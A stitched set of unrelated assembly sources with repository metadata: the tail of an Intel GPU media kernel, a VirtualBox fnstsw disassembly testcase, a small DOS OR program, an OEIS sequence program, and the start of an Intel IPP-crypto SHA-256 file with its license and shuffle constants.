shr (8|M0) r39.3<4>:ub r[a0.3,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r39.0<1>:ud r39.0<8;8,1>:ud 0x2:ud
mov (8|M0) r39.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r39.0<1>:ud r39.0<8;8,1>:ud 0x2:ud
mov (8|M0) r39.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r39.0<1>:ud r39.0<8;8,1>:ud 0x2:ud
mov (8|M0) r39.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r47.0<1>:ud 0x401004:ud
shr (8|M0) r47.3<4>:ub r[a0.7,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r47.0<1>:ud r47.0<8;8,1>:ud 0x2:ud
mov (8|M0) r47.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r47.0<1>:ud r47.0<8;8,1>:ud 0x2:ud
mov (8|M0) r47.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r47.0<1>:ud r47.0<8;8,1>:ud 0x2:ud
mov (8|M0) r47.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r48.0<1>:ud 0x401004:ud
shr (8|M0) r48.3<4>:ub r[a0.7,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r48.0<1>:ud r48.0<8;8,1>:ud 0x2:ud
mov (8|M0) r48.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r48.0<1>:ud r48.0<8;8,1>:ud 0x2:ud
mov (8|M0) r48.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r48.0<1>:ud r48.0<8;8,1>:ud 0x2:ud
mov (8|M0) r48.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r56.0<1>:ud 0x401004:ud
shr (8|M0) r56.3<4>:ub r[a0.7,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r56.0<1>:ud r56.0<8;8,1>:ud 0x2:ud
mov (8|M0) r56.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r56.0<1>:ud r56.0<8;8,1>:ud 0x2:ud
mov (8|M0) r56.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r56.0<1>:ud r56.0<8;8,1>:ud 0x2:ud
mov (8|M0) r56.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r57.0<1>:ud 0x401004:ud
shr (8|M0) r57.3<4>:ub r[a0.7,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r57.0<1>:ud r57.0<8;8,1>:ud 0x2:ud
mov (8|M0) r57.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r57.0<1>:ud r57.0<8;8,1>:ud 0x2:ud
mov (8|M0) r57.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r57.0<1>:ud r57.0<8;8,1>:ud 0x2:ud
mov (8|M0) r57.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.3]<1>:uw r[a0.3]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.3,32]<1>:uw r[a0.3,32]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7]<1>:uw r[a0.7]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7,32]<1>:uw r[a0.7,32]<16;16,1>:uw 0x2000:uw
mov (8|M0) r31.0<1>:ud 0x401004:ud
shr (8|M0) r31.3<4>:ub r[a0.3,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r31.0<1>:ud r31.0<8;8,1>:ud 0x2:ud
mov (8|M0) r31.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r31.0<1>:ud r31.0<8;8,1>:ud 0x2:ud
mov (8|M0) r31.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r31.0<1>:ud r31.0<8;8,1>:ud 0x2:ud
mov (8|M0) r31.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r32.0<1>:ud 0x401004:ud
shr (8|M0) r32.3<4>:ub r[a0.3,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r32.0<1>:ud r32.0<8;8,1>:ud 0x2:ud
mov (8|M0) r32.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r32.0<1>:ud r32.0<8;8,1>:ud 0x2:ud
mov (8|M0) r32.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r32.0<1>:ud r32.0<8;8,1>:ud 0x2:ud
mov (8|M0) r32.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r40.0<1>:ud 0x401004:ud
shr (8|M0) r40.3<4>:ub r[a0.3,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r40.0<1>:ud r40.0<8;8,1>:ud 0x2:ud
mov (8|M0) r40.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r40.0<1>:ud r40.0<8;8,1>:ud 0x2:ud
mov (8|M0) r40.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r40.0<1>:ud r40.0<8;8,1>:ud 0x2:ud
mov (8|M0) r40.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r41.0<1>:ud 0x401004:ud
shr (8|M0) r41.3<4>:ub r[a0.3,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r41.0<1>:ud r41.0<8;8,1>:ud 0x2:ud
mov (8|M0) r41.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r41.0<1>:ud r41.0<8;8,1>:ud 0x2:ud
mov (8|M0) r41.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r41.0<1>:ud r41.0<8;8,1>:ud 0x2:ud
mov (8|M0) r41.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r49.0<1>:ud 0x401004:ud
shr (8|M0) r49.3<4>:ub r[a0.7,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r49.0<1>:ud r49.0<8;8,1>:ud 0x2:ud
mov (8|M0) r49.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r49.0<1>:ud r49.0<8;8,1>:ud 0x2:ud
mov (8|M0) r49.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r49.0<1>:ud r49.0<8;8,1>:ud 0x2:ud
mov (8|M0) r49.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r50.0<1>:ud 0x401004:ud
shr (8|M0) r50.3<4>:ub r[a0.7,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r50.0<1>:ud r50.0<8;8,1>:ud 0x2:ud
mov (8|M0) r50.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r50.0<1>:ud r50.0<8;8,1>:ud 0x2:ud
mov (8|M0) r50.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r50.0<1>:ud r50.0<8;8,1>:ud 0x2:ud
mov (8|M0) r50.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r58.0<1>:ud 0x401004:ud
shr (8|M0) r58.3<4>:ub r[a0.7,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r58.0<1>:ud r58.0<8;8,1>:ud 0x2:ud
mov (8|M0) r58.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r58.0<1>:ud r58.0<8;8,1>:ud 0x2:ud
mov (8|M0) r58.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r58.0<1>:ud r58.0<8;8,1>:ud 0x2:ud
mov (8|M0) r58.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r59.0<1>:ud 0x401004:ud
shr (8|M0) r59.3<4>:ub r[a0.7,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r59.0<1>:ud r59.0<8;8,1>:ud 0x2:ud
mov (8|M0) r59.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r59.0<1>:ud r59.0<8;8,1>:ud 0x2:ud
mov (8|M0) r59.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r59.0<1>:ud r59.0<8;8,1>:ud 0x2:ud
mov (8|M0) r59.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.3]<1>:uw r[a0.3]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.3,32]<1>:uw r[a0.3,32]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7]<1>:uw r[a0.7]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7,32]<1>:uw r[a0.7,32]<16;16,1>:uw 0x2000:uw
mov (8|M0) r33.0<1>:ud 0x401004:ud
shr (8|M0) r33.3<4>:ub r[a0.3,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r33.0<1>:ud r33.0<8;8,1>:ud 0x2:ud
mov (8|M0) r33.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r33.0<1>:ud r33.0<8;8,1>:ud 0x2:ud
mov (8|M0) r33.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r33.0<1>:ud r33.0<8;8,1>:ud 0x2:ud
mov (8|M0) r33.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r34.0<1>:ud 0x401004:ud
shr (8|M0) r34.3<4>:ub r[a0.3,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r34.0<1>:ud r34.0<8;8,1>:ud 0x2:ud
mov (8|M0) r34.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r34.0<1>:ud r34.0<8;8,1>:ud 0x2:ud
mov (8|M0) r34.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r34.0<1>:ud r34.0<8;8,1>:ud 0x2:ud
mov (8|M0) r34.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r42.0<1>:ud 0x401004:ud
shr (8|M0) r42.3<4>:ub r[a0.3,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r42.0<1>:ud r42.0<8;8,1>:ud 0x2:ud
mov (8|M0) r42.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r42.0<1>:ud r42.0<8;8,1>:ud 0x2:ud
mov (8|M0) r42.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r42.0<1>:ud r42.0<8;8,1>:ud 0x2:ud
mov (8|M0) r42.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r43.0<1>:ud 0x401004:ud
shr (8|M0) r43.3<4>:ub r[a0.3,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r43.0<1>:ud r43.0<8;8,1>:ud 0x2:ud
mov (8|M0) r43.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r43.0<1>:ud r43.0<8;8,1>:ud 0x2:ud
mov (8|M0) r43.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r43.0<1>:ud r43.0<8;8,1>:ud 0x2:ud
mov (8|M0) r43.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r51.0<1>:ud 0x401004:ud
shr (8|M0) r51.3<4>:ub r[a0.7,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r51.0<1>:ud r51.0<8;8,1>:ud 0x2:ud
mov (8|M0) r51.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r51.0<1>:ud r51.0<8;8,1>:ud 0x2:ud
mov (8|M0) r51.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r51.0<1>:ud r51.0<8;8,1>:ud 0x2:ud
mov (8|M0) r51.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r52.0<1>:ud 0x401004:ud
shr (8|M0) r52.3<4>:ub r[a0.7,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r52.0<1>:ud r52.0<8;8,1>:ud 0x2:ud
mov (8|M0) r52.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r52.0<1>:ud r52.0<8;8,1>:ud 0x2:ud
mov (8|M0) r52.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r52.0<1>:ud r52.0<8;8,1>:ud 0x2:ud
mov (8|M0) r52.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r60.0<1>:ud 0x401004:ud
shr (8|M0) r60.3<4>:ub r[a0.7,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r60.0<1>:ud r60.0<8;8,1>:ud 0x2:ud
mov (8|M0) r60.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r60.0<1>:ud r60.0<8;8,1>:ud 0x2:ud
mov (8|M0) r60.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r60.0<1>:ud r60.0<8;8,1>:ud 0x2:ud
mov (8|M0) r60.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r61.0<1>:ud 0x401004:ud
shr (8|M0) r61.3<4>:ub r[a0.7,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r61.0<1>:ud r61.0<8;8,1>:ud 0x2:ud
mov (8|M0) r61.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r61.0<1>:ud r61.0<8;8,1>:ud 0x2:ud
mov (8|M0) r61.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r61.0<1>:ud r61.0<8;8,1>:ud 0x2:ud
mov (8|M0) r61.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.3]<1>:uw r[a0.3]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.3,32]<1>:uw r[a0.3,32]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7]<1>:uw r[a0.7]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7,32]<1>:uw r[a0.7,32]<16;16,1>:uw 0x2000:uw
mov (8|M0) r35.0<1>:ud 0x401004:ud
shr (8|M0) r35.3<4>:ub r[a0.3,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r35.0<1>:ud r35.0<8;8,1>:ud 0x2:ud
mov (8|M0) r35.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r35.0<1>:ud r35.0<8;8,1>:ud 0x2:ud
mov (8|M0) r35.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r35.0<1>:ud r35.0<8;8,1>:ud 0x2:ud
mov (8|M0) r35.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r36.0<1>:ud 0x401004:ud
shr (8|M0) r36.3<4>:ub r[a0.3,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r36.0<1>:ud r36.0<8;8,1>:ud 0x2:ud
mov (8|M0) r36.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r36.0<1>:ud r36.0<8;8,1>:ud 0x2:ud
mov (8|M0) r36.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r36.0<1>:ud r36.0<8;8,1>:ud 0x2:ud
mov (8|M0) r36.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r44.0<1>:ud 0x401004:ud
shr (8|M0) r44.3<4>:ub r[a0.3,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r44.0<1>:ud r44.0<8;8,1>:ud 0x2:ud
mov (8|M0) r44.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r44.0<1>:ud r44.0<8;8,1>:ud 0x2:ud
mov (8|M0) r44.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r44.0<1>:ud r44.0<8;8,1>:ud 0x2:ud
mov (8|M0) r44.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r45.0<1>:ud 0x401004:ud
shr (8|M0) r45.3<4>:ub r[a0.3,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r45.0<1>:ud r45.0<8;8,1>:ud 0x2:ud
mov (8|M0) r45.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r45.0<1>:ud r45.0<8;8,1>:ud 0x2:ud
mov (8|M0) r45.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r45.0<1>:ud r45.0<8;8,1>:ud 0x2:ud
mov (8|M0) r45.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r53.0<1>:ud 0x401004:ud
shr (8|M0) r53.3<4>:ub r[a0.7,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r53.0<1>:ud r53.0<8;8,1>:ud 0x2:ud
mov (8|M0) r53.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r53.0<1>:ud r53.0<8;8,1>:ud 0x2:ud
mov (8|M0) r53.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r53.0<1>:ud r53.0<8;8,1>:ud 0x2:ud
mov (8|M0) r53.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r54.0<1>:ud 0x401004:ud
shr (8|M0) r54.3<4>:ub r[a0.7,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r54.0<1>:ud r54.0<8;8,1>:ud 0x2:ud
mov (8|M0) r54.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r54.0<1>:ud r54.0<8;8,1>:ud 0x2:ud
mov (8|M0) r54.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r54.0<1>:ud r54.0<8;8,1>:ud 0x2:ud
mov (8|M0) r54.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r62.0<1>:ud 0x401004:ud
shr (8|M0) r62.3<4>:ub r[a0.7,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r62.0<1>:ud r62.0<8;8,1>:ud 0x2:ud
mov (8|M0) r62.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r62.0<1>:ud r62.0<8;8,1>:ud 0x2:ud
mov (8|M0) r62.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r62.0<1>:ud r62.0<8;8,1>:ud 0x2:ud
mov (8|M0) r62.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r63.0<1>:ud 0x401004:ud
shr (8|M0) r63.3<4>:ub r[a0.7,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r63.0<1>:ud r63.0<8;8,1>:ud 0x2:ud
mov (8|M0) r63.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r63.0<1>:ud r63.0<8;8,1>:ud 0x2:ud
mov (8|M0) r63.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r63.0<1>:ud r63.0<8;8,1>:ud 0x2:ud
mov (8|M0) r63.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
send (8|M0) null:d r28:ub 0xC 0x120A8018
send (8|M0) null:d r37:ub 0xC 0x120A8018
send (8|M0) null:d r46:ub 0xC 0x120A8018
send (8|M0) null:d r55:ub 0xC 0x120A8018
| 97.626344
| 123
| 0.289616
|
627323c4d987365aaf8bbab1f3ecb7bfc930be3f
| 977
|
asm
|
Assembly
|
vbox/src/VBox/Disassembler/testcase/tstAsmFnstsw-1.asm
|
Nurzamal/rest_api_docker
|
a9cc01dfc235467d490d9663755b33ef6990bdd8
|
[
"MIT"
] | null | null | null |
vbox/src/VBox/Disassembler/testcase/tstAsmFnstsw-1.asm
|
Nurzamal/rest_api_docker
|
a9cc01dfc235467d490d9663755b33ef6990bdd8
|
[
"MIT"
] | null | null | null |
vbox/src/VBox/Disassembler/testcase/tstAsmFnstsw-1.asm
|
Nurzamal/rest_api_docker
|
a9cc01dfc235467d490d9663755b33ef6990bdd8
|
[
"MIT"
] | null | null | null |
; $Id: tstAsmFnstsw-1.asm 69373 2017-10-26 15:38:48Z vboxsync $
;; @file
; Disassembly testcase - Valid fnstsw* instructitons.
;
; This is a build test, that means it will be assembled, disassembled,
; then the disassembly output will be assembled and the new binary will
; compared with the original.
;
;
; Copyright (C) 2008-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
%include "tstAsm.mac"
BITS TEST_BITS
fstsw ax
fnstsw ax
fstsw [xBX]
fnstsw [xBX]
fstsw [xBX+xDI]
fnstsw [xBX+xDI]
| 30.53125
| 71
| 0.729785
|
48865557d70d77a75a4e206fe4fc4c7e73a813df
| 154
|
asm
|
Assembly
|
21.asm
|
Nurglureddo/MiniPractice
|
85b78948ab3be259e34c78728ecb06a69fb51d23
|
[
"MIT"
] | null | null | null |
21.asm
|
Nurglureddo/MiniPractice
|
85b78948ab3be259e34c78728ecb06a69fb51d23
|
[
"MIT"
] | null | null | null |
21.asm
|
Nurglureddo/MiniPractice
|
85b78948ab3be259e34c78728ecb06a69fb51d23
|
[
"MIT"
] | null | null | null |
.model tiny
.code
N: push cs
pop ds
mov ax,x
mov bx,y
or ax,bx
mov z,ax
mov ax,4c00h
int 21h
.data
x dw 10110110b
y dw 1001b
z dw ?
end N
| 9.625
| 18
| 0.623377
|
c69fa199b700087368a0914d088a07567124e981
| 593
|
asm
|
Assembly
|
programs/oeis/146/A146880.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/146/A146880.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/146/A146880.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A146880: A symmetrical triangle sequence of coefficients : p(x,n)=If[n == 0, 1, (x + 1)^n + Sum[(1 + Mod[Binomial[n, m], 2])*x^m*(1 + x^(n - 2*m)), {m, 1, n - 1}]].
; 1,1,1,1,4,1,1,7,7,1,1,6,8,6,1,1,9,12,12,9,1,1,8,19,22,19,8,1,1,11,25,39,39,25,11,1,1,10,30,58,72,58,30,10,1,1,13,38,86,128,128,86,38,13,1,1,12,49,122,212,254,212,122,49,12,1
seq $0,173741 ; T(n,k) = binomial(n,k) + 4 for 1 <= k <= n - 1, n >= 2, and T(n,0) = T(n,n) = 1 for n >= 0, triangle read by rows.
seq $0,124356 ; Number of (directed) Hamiltonian cycles on the Moebius ladder graph M_n (for n>=4).
div $0,2
sub $0,3
| 74.125
| 175
| 0.58516
|
059eff9a463fc18cd8675645bacb270c3bfc1671
| 73,730
|
asm
|
Assembly
|
sources/ippcp/asm_intel64_gas_converted/linux/pic/e9/merged/pcpsha256e9as.asm
|
idesai/ipp-crypto
|
67220e3042f23d423c7977cdfd8b4f54f3cba2e0
|
[
"Apache-2.0"
] | 1
|
2020-11-03T21:30:58.000Z
|
2020-11-03T21:30:58.000Z
|
sources/ippcp/asm_intel64_gas_converted/linux/pic/e9/merged/pcpsha256e9as.asm
|
idesai/ipp-crypto
|
67220e3042f23d423c7977cdfd8b4f54f3cba2e0
|
[
"Apache-2.0"
] | null | null | null |
sources/ippcp/asm_intel64_gas_converted/linux/pic/e9/merged/pcpsha256e9as.asm
|
idesai/ipp-crypto
|
67220e3042f23d423c7977cdfd8b4f54f3cba2e0
|
[
"Apache-2.0"
] | null | null | null |
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 5, 0x90
SHUFB_BSWAP:
.byte 3,2,1,0, 7,6,5,4, 11,10,9,8, 15,14,13,12
SHUFD_ZZ10:
.byte 0,1,2,3, 8,9,10,11, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
SHUFD_32ZZ:
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0,1,2,3, 8,9,10,11
.p2align 5, 0x90
